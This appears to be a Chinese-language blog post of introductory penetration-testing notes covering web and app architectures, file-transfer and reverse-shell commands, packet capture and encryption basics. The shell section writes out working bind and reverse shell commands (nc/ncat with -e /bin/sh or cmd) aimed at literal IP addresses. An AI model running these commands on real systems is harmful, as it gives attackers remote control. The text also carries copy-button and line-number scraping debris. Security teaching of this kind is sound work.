安全启示录

安全启示录
EZL1NG基础入门
目录
基础架构与知识点
知识点分类 📝
Web 相关
- 常规: 系统、中间件、数据库、源码等
- 其他: 前后端、软件、Docker、分配站等
- 拓展: CDN、WAF、OSS、反向代理、负载均衡
APP 架构
- 封装平台、原生态开发、H5、Flutter 等
小程序架构
- 基于 Web、H5、JS、Vue 框架等
渗透命令
- 常规命令、文件上传/下载、反弹 Shell(正向/反向)、数据回显
抓包技术
- HTTP/S 级别: 针对 Web、APP、小程序、PC 应用等
- 全局协议抓包: 针对 APP、小程序、PC 应用,涉及 TCP/UDP/ICMP/DNS 等
数据加密
- 存储密码加密: 应用对象(Web、系统、第三方)
- 传输加密/编码: 用于发送回显、统一数据格式
- 代码混淆: 开发语言的加密和逆向保护
- 加密类型: 单向散列(MD5、SHA 等)、对称加密(AES、DES)、非对称加密(RSA)及解密处理
Web应用搭建流程
- 搭建流程(常规 Web 应用)
- 购买云服务器与域名。
- 在服务器上搭建中间件(如 Apache、Nginx、IIS 等)。
- 下载并上传 Web 程序源码。
- 添加网站并绑定域名目录。
- 架构模式
- 站内站(同服务器部署)
- 原理:源码和数据存储在同一台服务器。
- 影响:漏洞利用时直接获取系统权限。
- 站库分离
- 原理:源码与数据库部署在不同的服务器或使用云数据库。
- 影响:数据安全性较高,攻击者需要连接数据库服务器才能进一步影响数据。
- 前后端分离
- 原理:前端使用 JS 框架,数据通过 API 与后端交互。
- 影响
- 前端页面漏洞较少。
- 后端管理常不在同一域名,权限相互独立。
- 站内站(同服务器部署)
- 常见部署工具与环境
- 宝塔面板 + Phpstudy:集成化环境,常见权限配置管理。
- Docker 容器:利用虚拟化技术实现环境隔离,攻击者只能在容器内活动。
- 分配站/托管站:利用第三方平台建立站点,测试时需注意目标归属。
APP和小程序架构
- APP 架构
- 原生开发
- 安卓:主要使用 Java(或 Kotlin)。
- 开发特点:调用系统控件,支持自定义控件。
- H5 开发
- 优点:多端复用(浏览器、iOS 等);适用于页面分享。
- 缺点:体验相对原生稍弱。
- Flutter 开发
- 谷歌推出的跨平台 UI 框架,使用 Dart 语言。
- 优点:渲染效率高,体验接近原生;缺点:生态相对新、开发效率可能较低。
- Web App 开发
- 将网站嵌入到 APP 壳中,开发周期较长,但成本低、人员需求少。
- 原生开发
- 小程序架构
- 分为Web 封装平台和H5/Vue 框架两种实现方式。
- 安全影响:主要沿用常规 Web 安全测试手段,但需关注 API 接口与 JS 框架漏洞。
渗透测试与常规命令💥
常规渗透命令
- 主要方向
- 文件上传/下载
- Shell 反弹(正向与反向连接)
- 数据回显(查询、带外数据、网络协议层级)
- 参考资料
常规基本渗透命令详解
实用案例1:文件上传/下载
- 背景与用途
- 解决无图形化界面环境下的数据传输。
- 命令生成平台
文件上传/下载命令生成 - 工具示例
- Linux:
wget
、curl
、python
、ruby
、perl
、java
等。 - Windows:
PowerShell
、Certutil
、Bitsadmin
、msiexec
、mshta
、rundll32
等。 - 在线命令生成: 命令生成链接
- Linux:
实用案例2:反弹Shell
背景与用途
- 用于解决数据回显及数据通信问题。
命令生成平台
反弹 Shell 命令生成示例命令
正向连接:目标由监听方等待主动连接
Linux 控制 Windows
监听:
1
nc -e cmd -lvp 5566
目标连接:
1
2
3
4
5bash
复制编辑
ncat 47.122.23.131 5566
Windows 控制 Linux
监听:
1
2
3
4
5bash
复制编辑
ncat -e /bin/sh -lvp 5566目标连接:
1
2
3
4
5bash
复制编辑
nc 47.94.236.117 5566
反向连接
目标主动连接监听方
示例1(Linux)
在目标执行:
1
2
3
4
5bash
复制编辑
ncat -e /bin/sh 47.122.23.131 5566监听:
1
2
3
4
5bash
复制编辑
nc -lvvp 5566
示例2(Windows)
在目标执行:
1
2
3
4
5bash
复制编辑
nc -e cmd 47.94.236.117 5566监听:
1
2
3
4
5bash
复制编辑
ncat -lvvp 5566
常用符号说明
- 管道符:
|
- 逻辑或:
||
- 逻辑与:
&&
- 后台任务符号:
- Windows:
&
- Linux:
&
或 ```(命令替换)和分号;
- Windows:
- 管道符:
抓包技术与工具🕵️♂️
HTTP/S抓包
- 常用工具
- Fiddler
- 网址:Fiddler
- 功能:HTTP 调试代理,记录与分析所有 HTTP 通信(cookie、HTML、JS、CSS 等)。
- Charles
- 网址:Charles Proxy
- 功能:HTTP 代理及监视器,可监控 request、response 及 HTTP 头信息。
- Burp Suite
- 介绍:集成化 Web 攻击平台,包含请求处理、持久性、认证、代理、日志等功能。
- Fiddler
- 证书安装
- 浏览器和模拟器均需要安装抓包工具证书,以便抓取 HTTPS 流量。
全局协议抓包
- 常用工具
- 使用场景
- APP、小程序、PC 应用等全局协议抓包。
数据传输与加密🔑
存储密码、传输加密与数据格式
- 应用场景
- 存储密码加密:适用于 Web、系统及第三方应用(如 ZZZCMS、Dz、Win/Linux、MSSQL、MYSQL)
- 传输加密与编码:对发送及回显数据进行加密或编码,常见于 API 通信、数据回显测试等。
- 数据传输格式:统一格式如 JSON、XML 等,便于漏洞探针自动发送和回显数据分析。
- 代码混淆
- 针对 PHP/JS 混淆加密及 EXE/JAR 的代码保护
- 目的: 防止逆向破解和代码审计
- 实际案例
- 博客登录、视频传输、APP 游戏数据等。
常见编码与加密算法
1. 单向散列加密(如 MD5)
- 特点
- 由数字
0-9
与字母a-f
构成。 - 固定长度(16 或 32 位)。
- 由数字
- 优点
- 便于存储,运算损耗低。
- 缺点
- 存在暴力破解的风险,建议加盐处理。
- 常见算法
- MD5、SHA、MAC、CRC
2. 对称加密(如 AES、DES)
- 特点
- 加密解密使用同一密钥。
- 优点
- 算法公开、计算量小、速度快。
- 缺点
- 密钥必须双方协商、管理较为繁琐。
- 常见算法
- DES、AES、RC4
3. 非对称加密(如 RSA)
- 特点
- 使用一对密钥:公钥与私钥,可相互加解密。
- 优点
- 安全性较高,适用于少量数据加密。
- 缺点
- 加解密速度慢,不适合大批量数据处理。
- 常见算法
- RSA、RSA2、PKCS
4. 编码与加密识别
- MD5
- 特点:固定长度、只包含
0-9
和a-f
字符。 - 解密条件:需要密文,对复杂明文可能无法还原。
- 特点:固定长度、只包含
- Base64 编码
- 特点:
- 区分大小写,由数字与字母组合构成。
- 密文一般以
==
结尾(短明文可能没有)。 - 明文越长,编码后的密文也越长,通常不包含
"/"
和"+"
。
- 特点:
- AES/ DES
- 编码结果通常类似 Base64,但可能包含
"/"
和"+"
。
- 编码结果通常类似 Base64,但可能包含
注意: 在安全测试时,若对方在传输过程中对数据进行了编码或加密,测试 Payload 也需作相应处理,否则提交的内容可能无法识别。
其它知识点
代码混淆与逆向保护
- 目的
- 保护源代码不被轻易逆向、破解。
- 应用场景
- Web 前端(PHP、JS 混淆加密)。
- 桌面应用(EXE、JAR 文件加壳保护)。
- 安全测试关注点
- 分析混淆代码逻辑,尝试逆向恢复原始逻辑。
安全产品与防护技术🔐
- 常见产品
- CDN
- 原理:内容分发网络,提升访问速度,同时隐藏真实源 IP。
- 示例:阿里云全局 CDN 加速服务。
- WAF(Web 应用防火墙)
- 原理:过滤 Web 应用的恶意请求,常规测试可能会受到拦截。
- 示例:免费 D 盾防护软件。
- 云存储 OSS
- 原理:第三方静态文件存储,减轻服务器带宽压力。
- 示例:阿里云 OSS、Cloudreve 等配置方式。
- 其它产品
- IDS/IPS、蜜罐、防火墙、杀毒软件等。
- CDN
常见问题与测试要点🤔
- 安全测试
- 有源码时:直接查看源码了解加密算法
- 无源码时:通过猜测、前端 JS 分析加密逻辑
- 目标分析
- 理解 Web、APP、云应用、负载均衡等各个环节的工作原理
- 分析安全产品(如 CDN、WAF、IDS/IPS、蜜罐、杀毒软件)的影响
附:PHP7.3加密示例代码块
1 | php复制编辑 |